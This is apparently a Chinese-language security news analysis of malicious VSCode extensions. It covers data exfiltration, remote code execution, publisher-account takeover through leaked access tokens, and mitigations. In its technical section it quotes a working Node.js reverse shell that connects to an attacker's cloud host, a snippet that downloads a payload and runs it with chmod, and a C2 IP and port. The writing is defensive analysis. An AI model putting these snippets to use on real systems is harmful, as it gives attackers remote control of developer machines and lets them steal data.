摘要

Visual Studio Code (VSCode) Marketplace 中,Malicious extensions 的擴散,代表了軟體供應鏈一個關鍵且不斷演變的威脅。本報告提供了一個詳細的技術分析,探討這些惡意元件所採用的攻擊向量,著重於資料外洩 (data exfiltration) 和遠端程式碼執行 (Remote Code Execution, RCE) 的手法。具體來說,我們研究了利用標準 Node.js API (例如 net child_process ) 來建立秘密通訊管道和執行任意 shell 指令的方法。此外,我們調查了更廣泛的供應鏈漏洞,包括透過外洩的個人存取 Token (Personal Access Tokens, PATs) 危害發布者帳號,這使 Threat actor 能夠向現有使用者群發布惡意的更新。這些發現強調了在 Marketplace 層級和開發者環境中,迫切需要加強安全控制,以減輕這些高權限但通常未經檢查的軟體元件所帶來的風險。

供應鏈破口:VSCode 擴充功能如何被劫持?從 Token 外洩到 Reverse Shell | 資訊安全新聞

1. 簡介

現代的整合開發環境 (Integrated Development Environment, IDE),例如 VSCode,高度依賴一個充滿活力的 extensions 生態系統來提升開發者生產力。然而,對這些 extensions 的固有信任(它們通常以與 IDE 本身相同的權限執行),為供應鏈危害創造了一個強大的攻擊面 [4]。最近的發現突顯了一波專為秘密資料竊取和持續遠端控制而設計的 malicious VSCode extensions [1]。這些攻擊利用了 extensions 對本地檔案系統和網路堆疊的存取,將一個生產力工具轉變為一個複雜的間諜平台。本文深入探討這些 malicious extensions 的技術機制,分析它們的架構和用於實現其目標的特定程式碼模式。

2. Malicious Payload 的技術分析

已識別的 malicious extensions 的核心功能圍繞兩個主要目標: 資料外洩 (Data Exfiltration) 遠端程式碼執行 (Remote Code Execution, RCE) [1]。malicious code 通常被注入到主要的 extensions 檔案中,例如 extension.js dist/index.js ,確保在 extensions 啟用時執行 [1]。

2.1 資料外洩機制

資料外洩通常是透過使用 Node.js 環境中可用的標準網頁請求函式庫來實現,例如 http https fetch axios [1]。被竊取的資料,可能包括敏感的原始碼、系統資訊 (例如:使用者名稱、hostname、作業系統) 和剪貼簿內容,會傳輸到 Threat actor 控制的命令與控制 (C2) 伺服器 [1]。舉例來說,觀察到某些 extensions 將使用者資料發送到特定的 IP 位址和連接埠,例如 35.164.75.62:8080 ,或利用 Ngrok 等隧道服務來隱藏目的地 [1]。

2.2 遠端程式碼執行和持續性

為了建立持續性和實現 RCE,malicious extensions 利用了允許網路通訊和 shell 指令執行的 Node.js 模組。 net 模組是建立 Reverse shell 的主要工具,它賦予 Threat actor 一個持續、互動式的終端機 Session。以下程式碼片段取自對名為 teste123444212.teste123444212 的 extensions 的分析,說明了建立逆向 TCP shell 的過程 [1]:

  1. // Code Snippet 1: Reverse Shell Implementation using Node.js net module [1]
  2. // This code attempts to establish a persistent connection to a remote server (C2).
  3. // The connection pipes the remote server's input/output directly to a local shell process,
  4. // effectively granting the attacker remote command execution capabilities.
  5. let IP = "ec2-18-222-167-218.us-east-2.compute.amazonaws.com"; // Attacker's C2 IP/Domain
  6. let Port = 443; // C2 Port
  7. var client_sock = new net.Socket(); // Create a new socket object
  8. client_sock.connect(Port, IP, () => {
  9. // Pipe the socket's data to the shell's standard input (stdin)
  10. client_sock.pipe(shell.stdin);
  11. // Pipe the shell's standard output (stdout) back to the socket
  12. shell.stdout.pipe(client_sock);
  13. // Pipe the shell's standard error (stderr) back to the socket
  14. shell.stderr.pipe(client_sock);
  15. });

RCE 能力透過使用 child_process 模組而進一步增強,該模組允許 extensions 在主機系統上執行任意 shell 指令 [11]。這對於下載次要 Payload 或執行模糊處理過的腳本等任務至關重要。觀察到的一種技術涉及 extensions 下載一個遠端二進位檔,然後使用 exec 來更改其權限並執行它 [1]:

  1. // Code Snippet 2: Remote Trojan Download and Execution using child_process [1]
  2. // This pattern is used to fetch a secondary, often more complex, malicious payload
  3. // and execute it on the victim's machine.
  4. const req = http.get(options, (res) => { // Initiate HTTP GET request to download the payload
  5. res.pipe(file); // Save the downloaded content to a temporary file
  6. // ... file download completion logic ...
  7. // Execute shell command: change file permissions and run the payload
  8. exec(`chmod +x ${tempPath} && ${tempPath}`, (error, stdout, stderr) => {
  9. // ... error handling and logging ...
  10. });
  11. });

另一種方法涉及執行編碼的 shell 腳本,例如旨在建立 Reverse shell 的 Base64 編碼 Perl 腳本,這表明 Threat actor 使用模糊處理來規避偵測 [1]。

2.3 Malicious extensions 架構

這些 malicious extensions 的總體架構可以概括為一個三階段 程序:初始化、Payload 執行和 C2 通訊。此結構在下圖中進行說明,它用技術流程圖取代了原始報告中的視覺表示:

graph TD             A[Extension Activation] --> B{Malicious Code Injection
in extension.js/index.js};             B --> C{Check for Trigger Event};             C -- On Activate/Button Click --> D[Data Exfiltration];             D --> E["C2 Server
(HTTP/HTTPS/Ngrok)"];             C -- On Activate/Specific
Condition --> F[RCE/Persistence Payload];             F --> G{Node.js API:
net/child_process};             G -- net.Socket --> H[Reverse Shell to C2];             G -- child_process.exec --> I[Download/Execute
Secondary Payload];             H --> J[Attacker Remote Control];             I --> J;             D --> K[Stolen Data];             H --> K;             I --> K;

圖 1: Malicious VSCode extensions 的執行和通訊技術流程圖。

3. 供應鏈漏洞和攻擊向量

除了技術 Payload 之外,這些攻擊的成功還依賴於 VSCode extensions 供應鏈中的基本弱點。已確定的最關鍵漏洞是透過外洩的 Credential,特別是 Azure DevOps 個人存取 Token (PATs),導致發布者帳號受到危害 [2]。

3.1 外洩存取 Token 的影響

VSCode Marketplace 或 Open VSX 的 PAT 賦予 Threat actor 發布 extensions 新版本的能力。如果一個正當、受歡迎的 extensions 的 PAT 遭到危害,Threat actor 就可以向所有已安裝的使用者群推播 malicious 更新 [2]。這是一種高效的供應鏈攻擊,因為更新通常是自動且靜默的,利用了開發者對他們已經安裝的 extensions 的固有信任 [6]。研究發現了數百個有效的 leaked PATs,代表著超過 85,000 個 extensions 的安裝基礎,顯示了這種暴露的規模 [2]。

3.2 Credential 外洩的根本原因

PAT 外洩的主要技術原因是 extensions 封裝程序中無意地捆綁了敏感檔案。這包括隱藏檔案或「dotfiles」,例如包含環境變數和機密的 .env 檔案,以及直接 hardcoded 在 extensions 原始碼中的 Credential [2]。歷史上,在發布之前缺乏嚴格的機密掃描,使得這些敏感 Artifact 可以在 extensions 套件中公開分發。此漏洞特別令人擔憂,因為它甚至影響了看似良性的 extensions ,例如主題 (themes),這些 extensions 通常被認為更安全,但仍然可能包含和外洩機密 [2]。

4. 緩解和防禦策略

解決這個供應鏈威脅需要多層次的方法,包括 Marketplace 層級的控制和開發者端的最佳實務。

4.1 Marketplace 層級控制

為應對這些發現,平台供應商已經實施了關鍵的預防措施。最重要的是將機密掃描功能整合到發布管道中 [2]。這項主動措施會阻止發布包含已驗證機密(例如 PATs)的 extensions ,並通知 extensions 擁有者。此外,所有已識別的外洩 PATs 都已被撤銷,以消除帳號接管的直接威脅 [2]。

4.2 開發者最佳實務

開發者必須認識到 VSCode extensions 在一個高權限的環境中運行,擁有諸如檔案系統存取和 shell 執行的能力 [4]。為了將風險降至最低,開發者應遵循最小權限原則。具體來說,應避免或嚴格審查使用像 child_process.exec 這樣強大的 Node.js API,因為它會引入重大的指令注入風險 [11]。當外部程序是必要時,應優先考慮使用更安全的替代方案,例如帶有仔細清理輸入的 child_process.spawn 。此外,開發者必須採用安全的 Credential 管理實務,確保最終的 extensions 套件中不包含任何敏感檔案或 hardcoded 機密。

5. 結論

對最近 malicious VSCode extensions 的分析揭示了一個複雜且多面向的攻擊模型,該模型以軟體開發供應鏈為目標。核心技術威脅在於利用 Node.js 環境的強大功能——特別是 net child_process 模組——來促進資料外洩和建立持續的遠端控制。這個技術 Payload 通常是透過一個關鍵的供應鏈漏洞來傳遞:透過外洩的個人存取 Token 危害發布者帳號。 extensions 缺乏健全的權限模型,擴大了這些攻擊的影響,允許 malicious 組件以近乎完全的系統權限運行。儘管 Marketplace 供應商已開始實施必要的預防措施,但開發者的持續警覺和採用安全的程式碼編寫和封裝實務,對於確保 IDE 生態系統免受這種持續威脅仍然至關重要。